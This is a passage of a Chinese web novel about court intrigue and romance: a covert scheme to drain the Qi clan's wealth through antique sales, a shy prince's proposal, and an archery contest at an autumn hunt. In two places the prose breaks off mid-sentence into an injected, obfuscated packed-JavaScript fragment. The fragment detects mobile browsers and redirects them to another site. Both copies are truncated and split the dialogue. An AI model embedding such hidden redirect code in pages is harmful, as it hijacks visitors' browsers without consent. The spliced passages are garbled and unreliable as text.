齐椽沉吟片刻,又道:“既如此,这《述行赋》我便买下了。只是此次来江州,只带了三百两黄金,余下二百两,三月后必着人送来。我自会立下字据,绝不食言。” 梁行满脸堆笑:“公子金口玉言,小人岂有不信之理?” 齐椽起身至窗边,推开窗棂,向楼下守在马车旁的齐氏家奴唤道:“阿赵,将东西送上来——” 不一会,那位名叫“阿赵”的家奴抱着一口大箱子上楼来。那箱子甚重,但阿赵走得极稳,踩在木楼梯上几乎不闻声响。 他将箱子放在地上,然后恭敬地侍立在齐椽身后,梁行用眼角的余光瞥去,只见这位齐氏家奴脸上有一道刀疤,从左边眉峰划过鼻梁,一直延伸到下颚处,让一张英挺的面庞平添几分狰狞。 齐椽打开箱子,露出里面金灿灿的金锭,道:“梁掌柜,三百两黄金都在这里了,你点一下数……” 梁行笑得合不拢嘴,又道:“齐二公子,我这里还有顾恺之的美人图,还有新得的《熹平石经》的碑拓,您要不要再品鉴品鉴?” 齐椽赞许道:“如此甚好。” 正说话间,一位齐家信使急匆匆上楼道:“二公子,家主有急信来,命公子尽快赶回金陵。”他从袖中取出一封信,双手奉上。 齐椽接过一看,脸色骤变,他转头望向梁掌柜,平静道:“梁掌柜,家中有事,我需立刻赶回金陵。这《述行赋》我就先带走了,其他的东西梁掌柜先替我留着,我下次来时再看。” 梁行连声应道:“使得使得。”他亲自将齐椽送下楼,目送齐氏车马离开,才返回店中。 二楼轩室之中,方才齐椽坐的地方站着一位身形高大、眉眼冷肃的青年男子。 梁行慌忙屈膝行礼:“小人见过世子。” 来人正是如今的豫章王世子萧旷,他看着地上的箱子,问道:“东西出手了?” 梁行回道:“是。齐二公子先付了三百两黄金,剩下的两百两要三个月之后再给。以江左齐氏的家声,想必齐二公子不至于赖账。” 萧旷轻笑一声:“以前自是不会,现在怕是难说了。不过就算是三百两出手,也不算亏,这些黄金本世子今日就提走了。剩下的两百金若是到了,梁掌柜派人知会我一声就行。” “是。” 萧旷唤来两名亲卫,将木箱抬上马车。正要下楼,梁行在身后唤道:“世子——” 萧旷回身,挑眉问道:“梁掌柜还有事?” 梁行目光闪烁,低声道:“这几年齐二公子在小店买走不少古玩字画,前前后后花了数万两黄金。只是这些物件大多来自北方,可咱们豫章与北地素无往来……” “这些东西都是我一位朋友的,本世子只是代为出手……”萧旷的眼神冷了下来:“梁掌柜,你也是这一行的老人了,应该知道,有些事不要随便打听。” 梁掌柜垂下头,“小人知罪,再不敢多嘴了。” *** 暮色渐染,江上烟波轻漾,几只水鸟掠过江岸,荻花瑟瑟飘摇。 江边码头上,泊着一艘巨大的楼船,挑工们正将一箱一箱的货物搬上大船,堆放在货舱之中。 一辆青帷马车自城中疾驰而至,停在岸边。萧旷掀帘下车,两名侍从抬着一口朱漆木箱紧随其后,踏过跳板登上大船。 一名管事模样的人迎了上来,恭敬行礼:“世子这边请,女公子已恭候多时。” 萧旷随管事穿过底舱,登上二层甲板。但见船头立着一名白衣女子,正倚着雕花木栏远眺。远处江天一色,残阳将水面染成金红。江风拂来,吹动她的素色披帛,腰间垂下的青色绦带随风拂动,更显绰约纤美的身姿。 听到脚步声,女子回过头来,敛衽为礼:“碧棠见过世子。”她的脸庞笼在暮霭里,眉梢眼角似蒙着一层薄冰,愈发显得清冷淡雅。 萧旷的呼吸顿时慢了一拍。 他每次见到这位宋家的女公子时,总难掩心中激荡。 “世子请坐。”宋碧棠声音泠泠,像浸过寒泉的玉石,“碧棠这次从北地带回一些雪芽,正好烹来待客。” 萧旷这才注意到她身后的湘妃竹几上,红泥火炉上水汤翻涌。宋碧棠在主位坐下,抬手示意客座。萧旷命侍从放下木箱,在对面落座。宋碧棠玉手执壶,将碧色茶汤倾入杯中,微笑道:“看世子神色,想必这次的事情还算顺利?” 萧旷眉角上扬,“幸不辱命,那卷《述行赋》我已经以五百金的价格出手。不过齐二公子这次来江州仅仅带来三百金,剩下的两百金,留下欠条,说是三个月后再付。” 宋碧棠轻抿茶汤,掩唇一笑:“齐二公子竟也有捉襟见肘之时,看来齐氏如今的财政不容乐观。” “齐家就算有万贯家私,也禁不住齐二公子这般一掷千金。”萧旷端起茶盏,饮了一口,说道:“我有一事不明,古玩字画,向无定价,价值多少,全凭双方心意。齐二公子每年在藏珍阁花费数千金,却少与梁掌柜议价。再者,一般藏家,就算买下些字画古籍,赏玩一段时日之后,便会出卖换新。只有极心爱、极贵重的才会留作传家之物。这齐二公子却如饕餮一般,只进不出,收藏如此多的名家手迹,这是为何?” “世子不了解齐二公子。齐椽出身世家,书画双绝,自负天下第一风雅之人。在他眼中,旁人皆是俗物,怎配染指古籍真迹?所以凡入眼之物,都欲尽收囊中,以免明珠蒙尘。既然他以风雅自诩,所藏之物自然也应当身价非凡。若定价低廉,反而会被疑为赝品。市井商贾的锱铢必较,又岂会出现在身为‘名士’的齐二公子身上?” 宋碧棠莞尔一笑:“说起来,碧棠还真要谢齐二公子慷慨解囊。若非他一掷千金,庐江城恐难在七年间尽复旧观,兄长在北方的战事也未必如此顺利。”她抬眸望向萧旷,一双清眸如寒潭映月,“更要谢世子暗中周全,才让齐椽未生疑窦……” 萧旷微微欠身,含笑道:“哪里。这几年,女公子也襄助豫章王府不少。若是没有女公子提供的商船图纸,如今我豫章王府的商船又岂会通达四海,江州城焉能有如今的繁荣?” 正说话间,宋家管事走上甲板,禀道:“女公子,此番我们采买的货物已经全部装船,船工们问何时启程。” 宋碧棠轻声道:“你去吩咐他们准备一下,一个时辰之后启程开船。” “是。”管事领命而去。 萧旷眉峰轻蹙,面露讶然之色,“从前女公子来江州总要盘桓一两日,怎么这次急着回去?” 宋碧棠轻轻叹了一声:“家兄受封大将军,现驻金陵,舍弟陆丰率军镇守徐州。碧棠坐镇庐江,居中策应,不敢离家太久,今晚就得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16563610|180362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回去。” “女公子,萧某本来……本来想……”萧旷忽地神色忸怩,耳尖泛红,“家母……不,是我……我想……” 他嗫嚅半晌,越说越含糊,一张脸涨得通红,恨不得将后半句吞回腹中。他今日来此,一来,是将那三百两黄金送到宋家大船上,二来,是奉了母亲豫章王妃之命,请宋碧棠到王府做客。 七年前萧旷率军驰援庐江,在宋家大宅见到宋氏女公子碧棠之后,便对她心生爱慕,念念不忘。 数年间,两人见面不过数次,但鱼雁传书,往来不少。 萧旷喜欢兵法,但豫章王并不掌兵,王府也仅有五千私兵用以护卫。这七年之中,宋碧棠跟随宋海晏征战北方,辅佐兄长用兵。萧旷心生向往,常常写信向她询问战况。 宋碧棠每战过后,都会将战况、排兵布阵之法、胜负得失等等写在信中,与萧旷参详。萧旷回信与她讨论自己的见解。宋碧棠也会根据萧旷的意见,调整作战方略。萧旷每次寄信往北方时,常常畅想自己是和宋碧棠一起并肩作战。每每听闻宋家大军战胜的消息,萧旷比自己打了胜仗还要高兴。 四年前,宋碧棠寄信给他,请他在江州城开设一家藏珍阁,帮忙售卖她在北方收集的古籍字画。这些古籍字画,大多数都是当年南渡之时的中原士族散落遗失的,宋碧棠标价甚高,并特别指出,这些东西卖不卖得出去不打紧,务必要卖给齐家二公子齐椽。 作为回报,宋碧棠送给他一份商船的图纸。依据图纸改造后的商船,航速更快,可以容纳的货物更多,豫章王府有了这些货船,江州城日渐繁荣,豫章王和王妃乐得合不拢嘴,对儿子赞不绝口。 唯一令豫章王和王妃忧心的是萧旷的婚事。在大楚一朝,世家男子二十岁时多半都已经完婚,王妃也为他张罗了不少联姻对象,萧旷竟是一个也看不上。 拖来拖去,到今年萧旷已经二十四了,豫章王妃愁得头发都白了不少。直到有一次,王妃偶然进入儿子的书房,发现他和宋碧棠往来的书信,才知道儿子已经心有所属。 豫章王是一品郡王,庐江宋氏是本朝上等世族,这门婚事也算门当户对。豫章王妃当即要派遣媒人,到庐江提亲,萧旷却死活不肯。两人虽然书信往来多年,但见面次数寥寥。萧旷对宋碧棠是否愿意嫁给自己没有丝毫把握,贸然上门提亲,唯恐唐突佳人。 豫章王妃拗不过儿子,只好作罢。这次王妃听闻宋碧棠亲到江州的消息,便耳提面命,让他见了宋碧棠定要将人请入王府作客。若是宋碧棠肯来,这门婚事多半就有指望。萧旷也暗自下定决心,见到宋碧棠时询问佳人心意。若她无意,自己也好死心。 可自己实在是不争气,话没出口半句,竟然忘词了。他此刻两颊红得滴血,见宋碧棠投来讶异的目光,只恨不得找个地洞钻下去。宋碧棠却神色如常,执壶往杯中续水,轻声道:“世子不必着急,时辰还早,世子可以先喝杯茶,慢慢想好了再说……” 她笑容温婉沉静,并无半点挪愉的意思。 萧旷喝了茶,心神渐趋平定,方开口道:“家母知道女公子来江州,特地相邀,想请女公子到王府做客。不……我是说……是我想请女公子到家中做客……” 宋碧棠闻言,敛容起身,行了一礼,道:“王妃盛情,碧棠心领。但碧棠今晚就得回庐江,实在不能入府拜访,请世子代碧棠向王妃致歉。” 萧旷闻言,眼底光华瞬时黯淡几分。他徐徐将茶盏搁于案上,终是长身而起,抱拳一揖:“既如此……萧某这便告辞了……” 宋碧棠抬头,见暮色渐浓,天光将暝,道:“我送世子下船。” 两人一前一后,走下楼梯。萧旷心神恍惚,足下一个趔趄,差点栽倒,一只柔软的玉手在后面扶住了他的胳膊,宋碧棠道:“世子当心……” 萧旷连声道:“对不起,我没事……”宋碧棠松开手,萧旷又走了两步,脚下一滑,直接从舷梯滑了下去。好在他身手敏捷,抓住两侧扶手,才不至于栽倒,口中又喃喃道:“我没事……我没事……” 宋碧棠见他失魂落魄的模样,道:“世子,今次碧棠确实无法在江州继续逗留。下次再来,定然到豫章王府拜会王妃。”她轻轻叹了一口气,低声道:“世子的心意,碧棠也已然知晓。但碧棠心中大事,才刚完成一半。如今宋家也无暇议婚,不知世子可愿意再等一年?” 萧旷神思游离,竟一个字也没听进去,这才醒悟过来,问道:“女公子说什么?” 宋碧棠重复道:“如今宋家无暇议婚,世子可愿意再等碧棠一年?” “愿意,我当然愿意——”萧旷只觉得宋碧棠的话如同仙音入耳,他一辈子都没有听过这么动听的言辞,恨不得手之舞之,足之蹈之。他回头,望着立在楼梯上方的宋碧棠,大声道:“愿意,再等七年我也愿意……” “哈哈哈哈……”他开怀大笑道:“我这便回家,告诉母亲这个好消息……” 他根本没注意到自己脚下踩空,竟从楼梯上滚了下去。一楼甲板上的船工们看到这一幕都惊呆了,正要去扶时,萧旷已经自己爬了起来,大声道:“我没事,我就是太高兴了,哈哈哈哈哈哈……” 他走了两步,竟又摔倒在地。 “我没事,我高兴,哈哈哈……” 甲板上传来窃窃私语。 “女公子说了什么,世子该不会变傻了吧……” “我看是刚才摔得太狠,说不定腿瘸了……” “不至于吧,他不是说自己没事吗?” “你懂什么,有事的人才会说自己没事……” 即使是沉着冷静如宋碧棠,此刻也觉得自己的脸颊微微发烫。 她三步并作两步,飞快下楼,将萧旷扶了起来,道:“世子,我送你上马车……” 宋碧棠一路搀着他,走到一楼船尾的跳板处。宋碧棠忽然感应到了什么,向东边江面看去。霎时,她玉容凝伫,脸色骤变。 萧旷顺着她的目光看去,只见不远处有一艘大船,船尾站着一个身材魁伟的男子,一道刀疤从他的眉峰延伸到下颚处。那男子此前似一直注视着这边,此刻察觉到宋碧棠的目光,竟缓缓偏过头去。 萧旷惊声道:“是他?” 宋碧棠道:“你认识他?” 萧旷点头道:“那艘船是齐家的船,齐二公子下午得了一封信,要赶回金陵去。船尾那个人是齐氏的家奴,名叫阿赵。听藏珍阁的梁掌柜说,这个人身手不错,很得齐椽信任,齐椽去哪儿都带着他,可惜是个哑巴,不会说话——” 宋碧棠脸上血色尽失,“你说他是个哑巴?” 萧旷道:“是啊。女公子也认识这个人?” 宋碧棠闭目轻叹,声若蚊呐:“不,我不认识。” 待将萧旷扶上马车,宋碧棠返回船上时,但见东方那艘楼船已然起锚。船桨划破寒江碧波,正缓缓向江心驶去,船尾那道身影早已消失无踪。 暮色四合,江面上薄雾渐起。孤鹜振翅,掠过天边一勾冷月。 58. 第九章 秋狝畋猎 九月初五,皇帝对齐梁秽乱社宫一案的处理诏书正式廷发。齐梁亵渎社稷、秽乱仪典,革去太常卿一职,流放岭南。 齐椽的马车在正午时分到达齐府门口。他不及用午膳,急匆匆往父亲的书房而去。 书房之中,司徒公齐鸿靠坐在矮榻上,形容枯槁。短短数日,他头上添了不少白发,看起来苍老了许多。他不发一言,指了指几案上的诏书。 齐椽拿起桌上的文书,匆匆一阅,皱眉道:“父亲,兄长怎会如此糊涂?要说他服食五石散,也不是一日两日,向来无事,今次怎么出了这么大的差错,其中定有蹊跷——” 齐鸿神色疲惫:“我已经命人查过了,他最近从东山紫霞观一游方道士处得了新的方剂。此方极烈,服食之后,便需每日服食,不然心痒难耐。一开始,一日一次即可。五日之后,需每日三次,才可餍足。且此方有催情之效,服用之后气血狂躁,神志不清,需得男女交欢,方能稍解药性……那孽子仗着自己是太常卿,预先将宠姬藏在社宫之中,在祭典时,他一时按捺不住,做出丑事……” “其中必定有人撺掇,那道士人呢?” “那道士早就跑了。我已问过太常署中书吏,说是八月二十日,齐梁与澹台昱一道离开衙署,同往东山——” “好个澹台昱——”齐椽拍案而起:“当初澹台勰获罪,是我们齐氏顾念过往之情,收留澹台兄弟,想不到他们一朝得势,便忘恩负义,反咬我们一口——” “澹台氏见利忘义,自然不能让他们好过。”齐鸿神情凝重,“阿椽,如今你兄长出此变故,我心中总有不祥之感。是不是我父子俩看走了眼,这长乐公主行事看似温和,实则暗藏锋芒,怕是比太皇太后还要难对付。澹台恭和澹台昱兄弟俩都是她的棋子,目的就是对付我们齐家……” “即便她有意针对,我齐家也不是任人揉捏的软柿子。”齐椽道:“此事容后再说。父亲,孩儿认为您应该去永寿宫走动走动,求太皇太后开恩,网开一面。兄长这些年服食五石散,身体早已亏虚,只怕到不了岭南。” 齐鸿恨恨道:“齐梁误我大事,就算过了此关,也是个废人。我和太皇太后之间的情分已所剩不多,不值得浪费在他身上。你派几个得力的人手与他同去岭南,万一死在半路,也是他的命数……” 齐椽闻言默然。细想之下,父亲的决断对如今的齐阀而言,确是最佳选择,应道:“是。” 齐鸿又道:“如今失去太常卿之位,对齐氏声望难免有损。我思来想去,还是该为你在朝中谋个职位。如今门下省东台侍郎皇甫冶即将致仕,从前我齐氏旧交中有几家找上门来,希望能让自家子侄接任此职。” 他看了齐椽一眼,续道:“但我想,与其便宜了外人,不如你先去门下省历练几年,将来也好接替我的位置。待颍川郡王日后继位,有你这个亲生父亲辅佐,方保无虞。” 齐椽面露为难之色,摇头道:“父亲是知道我的,我甘在人后为齐家谋划,便是厌烦官场俗务。入朝为官非我心中所愿。再说长房的齐颂今年二十有三,齐颢也已二十一岁,父亲不妨先给他们谋些职位,让他们历练历练。” “既然你不愿为官,此事便先作罢。”齐鸿见他执意不肯,叹息一声,眼角的皱纹显得更深了几分,“但澹台氏背弃我齐家,断不能坐视他们兄弟平步青云,此事便交由你去办。” 齐椽嘴角勾起一抹阴狠的笑意,“父亲但请放心,此事包在儿子身上。对付澹台氏,何须我们亲自动手?他们与宋海晏也有旧怨。只需从中稍加挑拨,宋海晏自会替我们出手。” *** 齐梁身为上卿,竟落得流放岭南的下场,在金陵城掀起不小的波澜。 按齐梁所犯之罪,论以流刑本无可指摘。然齐家乃本朝第一门阀,朝中党羽甚众,且齐梁身为齐皇后之父、颍川郡王外祖,国法之外当存人情,若齐阀从中斡旋,皇帝或可酌情轻判。 不想齐阀既未缓颊请托,亦未借故迁延。谕旨颁下七日后,齐梁已着囚衣、戴枷镣,与诸流犯一同被押解上路。此事过后,齐阀跌至谷底的声望竟稍有回升,街头巷尾多盛赞齐阀“大义灭亲”,不愧为士族楷模。 九月中旬,大楚朝廷在城北紫金山举行秋猎。 大楚朝廷每年四时,行畋猎之礼,其中以秋狝最为隆重,为期三天,今年与往年相比又有不同。 朝议时,澹台昱上奏,恳请将秋猎之所从覆舟山皇家猎场改至城北紫金山。这位新上任的代太常卿有意一改齐梁在任时太常署轻浮疏懒之风,欲将秋狝大典操办得盛大恢宏,以显其治事之才。 皇帝龙颜大悦,命各世家派出子弟参与竞猎,以获猎多寡论胜负,最后的得胜者可以得到皇帝亲赐的龙鳞宝刀作为彩头。 覆舟山田猎一年四次,又都是蓄养的猎物,参加的次数多了,众人渐觉索然无味。紫金山的猎场范围更大,猎物更多。胜者不仅可以彰显自家声威,又能得到皇帝亲赐的宝刀,一时之间,世家子弟无不摩拳擦掌,跃跃欲试。 九月十六日,天子仪仗在文武百官的簇拥之下驶出皇城,经过半日的驱驰,到达紫金山脚下。 太祖萧胥盛年之时曾在此行猎,筑有猎宫一座。如今猎宫被修葺一新,作为天子驻跸之所,文武百官则于猎宫外围安营扎寨。 各家早有准备,一到地方,便纷纷勘察地形,寻找合适的安营场所。最好的地方自然是猎宫外围的平地,地势较高、地面平整,且离皇帝更近,更容易在皇帝面前露脸。 这样的好地方只有几大世家才有资格占据。那些实力不足的,若是没有眼色抢先占了本不属于自己的地盘,不仅会惹来讥笑,还可能招致日后朝堂上的排挤。 澹台一族自然不属于此列。作为元宁一朝的新贵,澹台氏新得了太常卿的位置,在朝中的声势也水涨船高,金陵坊间开始流传“齐一魏二,澹台第三”的说法。澹台恭早早就看中了猎宫外围的大片平地,命族中子侄架帐结营。 不料,帐篷刚扎了一半,便来了黑压压一列甲士,领头的将领按刀而立,冷声喝道:“我们大将军看中这片地方,要在这里安营,闲杂人等,都滚到一边去——” 他一挥手,甲士们二话不说,便开始拆除澹台氏的帐篷。 在他身后,一人身骑白马,手握长弓,冷眼睥睨,不是宋海晏又是谁? 如今的澹台氏,人人视宋海晏为煞星,又岂敢与他争竟,只好速速报予澹台恭。 澹台恭闻讯赶来时,猎宫前的空地一片狼藉,澹台氏的蓝色旌旗已经被拔出,换成了宋氏的黑色旗帜。 澹台恭气得眉毛倒竖:“宋海晏,你不要欺人太甚。这块地方是我澹台氏先看上的——” “这么巧,我宋海晏也恰好看上这块地方……”宋海晏唇角抹开一丝冷笑,声音不疾不徐:“大家同殿为臣,不要伤了和气,不如你我好好商议?” 眼看这边起了争端,各家都顾不上安营扎寨,纷纷过来瞧热闹,很快猎宫外的人就挤了里三层外三层。 澹台恭不好发作,按捺住心中怒火:“你想怎么商议?” 宋海晏神色从容:“简单。既然我和澹台将军都看上了这块地方,你我双方就得比划比划了。两个办法,一个是大比,一个是小比,澹台将军选哪一种?” 澹台恭道:“大比如何?小比又如何?” 宋海晏挑眉一笑,深狭双眸显出倨傲来:“大比就是澹台将军从你身后点人,我也选同样多的人,大家在这里真刀真枪地干一场。谁输了,谁就将地方让出来,如何?” 澹台恭脸色铁青,谁不知道宋家都是骄兵悍将,他若敢应招,明日就会成为全金陵城的笑柄。他怒眉一沉,斥道:“宋海晏,你当真要在天子驻跸之地纵兵私斗?你就不怕惊扰圣驾吗?” 宋海晏脸上笑意愈浓,“那看来澹台将军是要选择小比了。小比便是你我二人比试箭术,想怎么比随便你定。只要你赢了,我便将地方让给你,如何?” 人群之中响起一片喝彩之声。 宋海晏竟将比试规则全权交给澹台恭,显然对自己的箭术有着十足把握,认定无论怎么比都能稳操胜券。 这场戏愈发好看了。 宋海晏和澹台恭两人,一个是在北方立下战功无数的大将军,一个是平叛有功的征南将军,这两人比试箭术,可是千载难逢的盛事。行宫之外,围观的人越来越多,直将这片营地围得水泄不通。这般声势,自然也惊动了正在猎宫紫微殿中休息的萧含光。 猎宫东南隅,一座三层角楼巍峨矗立,飞檐翘角如鹏鸟展翅。萧含光凭窗而立,恰将下方纷争尽收眼底。 今日伴驾的是冯大用。他这段时日见皇帝提拔澹台昱,一次也没有召见宋海晏,私心揣度皇帝必是心向着澹台一族,便感叹道:“陛下,宋大将军如此狂傲,怕是一点也没有将澹台恭放在眼里。” 萧含光闻言,轻声一笑:“以箭术而言,宋海晏确实有傲视群雄的底气。” 萧含光看着下方那道执弓的人影,忽又想起从前旧事来。在药师庵的时候,宋海晏双眼刚刚复明,便搭箭上弦,朝天空中的飞鸟随意射出一箭。静仪师太大急,告诫他佛门不许杀生,谁知,那鸟扑腾着翅膀飞走了,箭落在地上,上面挂着一枚鸟羽。 后来在夏苗礼的时候,宋海晏两箭连发,射死两名北魏的刺客,救了她的命。 分明只是七八年前的旧事,如今想起来,已恍如隔世了。 下方营地之上,澹台恭看着黑压压的人潮,后背冷汗直流。他没想到,区区一个营地之争,竟会演变成他和宋海晏比试箭术。真是骑虎难下。 要他率自家子侄与宋家骄兵悍将干一场,他没有胜算。可让他与宋海晏当众比试箭术,他同样没有信心。 今日,他若不应战,澹台一族在众目睽睽之下将营地拱手让给宋海晏,必将大大折了面子。可若是他当众输给宋海晏,结果也好不到哪里去。 正当澹台恭左右为难之时,澹台炜拿着弓箭走上前来,道:“父亲今天长途跋涉,已然疲劳,不如就由孩儿代替父亲与大将军比试——” 他昂首看向宋海晏,问道:“大将军方才说谁赢营地归谁,不知双方平局怎么算?” 宋海晏眉梢掠过一丝玩味,“平局就算我输,这片营地自然是归你们澹台氏。” “好,那便一言为定。”澹台炜大声道:“先前大将军说怎么比试,规则由我们定。我的规则很简单,我和大将军都站在原地不动,一人一弓一箭,以一炷香的时间为限,谁先射下飞鸟,就算谁赢。若时限已至,都无所获,就算平局,如何?” 宋海晏眼中笑意盎然:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16574610|180362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以,这很公平。” 线香燃起,袅袅青烟在风中盘旋。宋海晏和澹台炜都解下箭囊,只留一弓一箭在手,比试正式开始。 然而,很快就有人发现不对了。香柱很快燃去一半,可天空中一只飞鸟都没有,甚至连鸟啼都没有一声。 角楼之上,冯大用甩了甩拂尘,笑眯眯道:“澹台家公子倒是聪明,今日这猎宫前少说也有上千人,这般喧嚣叫嚷,鸟雀哪敢经过?只要拖过一炷香的时间,双方平局,这一局澹台氏就算赢了……” 萧含光摇摇头,轻声道:“不,宋海晏会赢……” 角楼之下,澹台炜抱弓而立,脸上露出得意的神色。他并没有搭弓上弦,似乎笃定天空中绝不会有飞鸟经过。 宋海晏则闭目养神,似乎也并不着急。随着线香越来越短,围观的人群也越来越紧张,先前的喧哗声都停止了,林中彻底安静了下来。 就在这时,宋海晏将手指放在唇边,作出鸟啼之声,“吁—哟——哟伊—哟——” 那啼声婉转悠扬,如黄鸟鸣唱,在静谧的林中回荡。 …… 澹台炜先是一怔,继而嗤笑出声,宋海晏不会想通过这种方法将飞鸟引过来吧。他仰头四望,天空中哪有鸟的影子。 线香即将燃尽,东边的树林中忽然发出一声清脆的鸟啼之声。宋海晏眸光骤亮,弓弦如满月,箭矢如银蛇,一箭发出。 宋海晏收弓负手,唇角噙笑,随意点了一名士兵:“去将那只山雀捡回来吧……” 澹台炜瞳孔骤缩,死死盯着箭矢消失的方向。他心中犹疑,实在不愿相信宋海晏只凭鸟啼之声,就能射中林中山雀。 不一会,宋家军士捧着仍在扑腾的山雀返回,箭矢正中山雀右翅。人群之中再次响起喝彩之声,赞叹宋海晏箭术超群。 角楼之上,冯大用看着一阵迷糊,啧啧叹道:“宋将军真是神乎其技,隔那么远的树林,竟然也能射中这么小一只山雀……澹台氏这下该心服口服了……” 皇帝没有再说话,转身步下角楼,回到紫微殿,吩咐传晚膳。 晚膳时,皇帝的心情似乎不错,比从前多吃了一碗莲子羹。 澹台氏输了比试,只好垂头丧气地让出营地。宋海晏志得意满,下令宋家军士安营扎寨。宋家跋扈霸道,将猎宫前的空地全部占满,在外围扎上旌旗,不许他人靠近宋家营帐。 其他世族见澹台氏都被他给挤走,哪敢和他争地,纷纷避让。 到了晚上,宋海晏命宋家军士五步一哨,在猎宫前驻守,护卫营帐,免受刺客宵小图谋不轨。 本该在大帐中接受保护的大将军本人却没宿在营地之中,他不知何时爬上了猎宫那座巍峨的三层角楼,倚着兽脊而卧,一手侧枕,一手握着酒壶,仰首鲸饮,简直将御居的猎宫当作将军府的后花园一般。 时人虽慕狂放之风,但对负责猎宫守卫的禁军统领李藏甲来说,就十分头痛了。 他作为澹台炜的顶头上司,这些日子也听闻征南将军府和大将军府的种种争端。见宋海晏行为逾矩,他也不愿去触这个霉头,只好找到冯大用,让他请示天子如何处置。 萧含光推窗时,恰见宋海晏着一身素色衣袍,正坐在飞檐一角上。明月高悬,洒了青白的光在他身上。他坐在月光之中,举酒独酌,那道身影冷清而寂寞。 今夜的猎宫内外,足有千人之众,外围歌舞饮宴之声,不绝于耳。但所有的热闹都与他无关,他仿佛是这喧嚣世界外的一个孤独看客,自拥一方天地。 她心中忽生出一股冲动,想召他到御前来,同他说说话。但现在这么做,无疑不合时宜。 她关上窗户,将那道身影隔绝在外,转身对侍立一旁的冯大用道:“你去转告李藏甲,就说‘且由他去’——” “是。”冯大用行礼退下,又听皇帝道:“等等,这儿不比宫内,晚上还是要当心,你命人在寝殿的四角各挂上一盏灯笼。” 冯大用找到李藏甲,传了圣意。又亲自带着小太监们取来灯笼,小心翼翼地挂在宫檐四角。他一回头,见宋海晏手里握着一张弓,一双眼在黑暗中亮如猎豹,幽冷地看着这边。 冯大用差点惊出一身冷汗。 看着宋海晏警觉的神态,他到底琢磨出一点不寻常的意味来。 这座角楼是整座猎宫的最高之处,可以纵观全局。猎宫外围,如今已被宋家军士所占据,宋海晏再持弓守在高处,以他的射术,任何人都不可能靠近天子的寝殿。 宋海晏今夜并非跋扈逾矩,恰恰相反,他是亲自为天子守夜。陛下显然也知道他的意思,所以才会下令在寝殿四角悬挂灯笼。 冯大用又回想起宋海晏入京后的种种,陛下的态度常常耐人寻味。 宋海晏扣了澹台炜那么久,陛下没有申斥过一句。 宋海晏抢了沅陵郡主的马,沅陵郡主进宫告状,陛下也没有说过宋海晏半句不是。 宋海晏今天抢了澹台家的营地,放浪形骸,在猎宫的屋顶上饮酒睡觉,陛下也只是轻飘飘一句“且由他去”…… 澹台氏算什么,这位才是陛下真正的宠臣。 想起这段时日,自己在皇帝面前进了不少“污谤”大将军的“谗言”,冯大用悔得肠子都青了。 得,自己这察言观色的功夫,还得多学多练。 59. 第十章 兔走狐惊 翌日,秋猎正式开始。 上午,萧含光亲自主持了秋猎祭典。萧含光的骑射之术比七年前精进了许多,不再需要太常署准备肥鸟来完成射禽之礼。她御马趋前,弯弓搭箭,凝神而发,射中一只野雉。 祭礼之后,世家子弟们呼朋引伴地纵马向山中而去。一时之间,山林之中兔走狐惊,百兽奔逃。 秋高气爽,紫金山上霜林尽染,比起楼台精美的覆舟山,另有一番野趣。擅长骑射者纵马驰骋,追逐猎物;不擅此道者,也漫步山林,悠然欣赏这如画美景。 萧含光自七年前在覆舟山遇刺之后,但凡狩礼,都慎之又慎。这紫金山她是第一次来,也无意入山行险,早早回猎宫休息。 到了晚间,各家行猎的队伍陆续回来了。 礼官们清点各家带回来的猎物,暂居第一位的是竟是长沙王府,第二位是江左齐氏,第三位是会稽魏氏,四到七名是几个中等世家,宣城澹台氏暂居第八。 这个结果让所有人都始料未及。 沅陵郡主对这次秋猎很重视,带的人又都是好手,再加上各家都让她三分,竟让她侥幸暂居头名。齐氏、魏氏虽然重文轻武,毕竟家族底蕴摆在哪里,分列二三名很正常。 但澹台氏两个儿子身手都算不错,一个是禁军校尉,一个是卫尉少丞,弓马娴熟,竟然只屈居第八,这就太不正常了。 澹台恭一张老脸十分挂不住。 他本来对这次秋猎寄予厚望,视作彰显自家声威的大好机会。 一者,澹台昱新任太常卿,务必要将这次秋猎办得隆重体面,在朝野上下博得声名,最好能将头衔前的“代”字去掉,转为正职;二者,澹台兄弟各带自家好手,要在竞猎中一举夺魁,得到御赐的龙鳞刀,挽救因宋海晏数次挑衅羞辱而日益低迷的家族声望。 回到自家营地,见澹台炜和澹台焕兄弟两人垂头丧气地立在帐前,衣甲上还沾着未干的血迹和泥土,脸色像霜打的茄子一般。 见到父亲,兄弟两人一起跪下请罪。 澹台恭知道其中必有缘故,问道:“怎么回事?” 澹台炜攥紧拳头,咬牙切齿:“父亲,宋海晏跟我们家扛上了。今日竞猎,每次我们看到猎物,就有一支羽箭飞来,提前将猎物抢走。猎场这么大,宋海晏却偏偏抢我们家的猎物,分明是有意和我们作对……” 澹台恭问道:“你们亲眼看到宋海晏射箭抢你们的猎物吗?” 次子澹台焕道:“那倒没有。昨天父亲也看到了宋海晏的箭术,仅凭听声辨位,就能在数十丈的距离外射中林中山雀,齐家、魏家那几家儿郎,谁能有这样的本事?又有谁和他一样,处处和我们澹台家过不去?” 澹台恭闻言,太阳穴突突直跳——昨日因为营地之争,澹台氏已经颜面扫地。今日竞猎宋海晏又从中作梗,分明是想将澹台氏彻底踩在脚下。 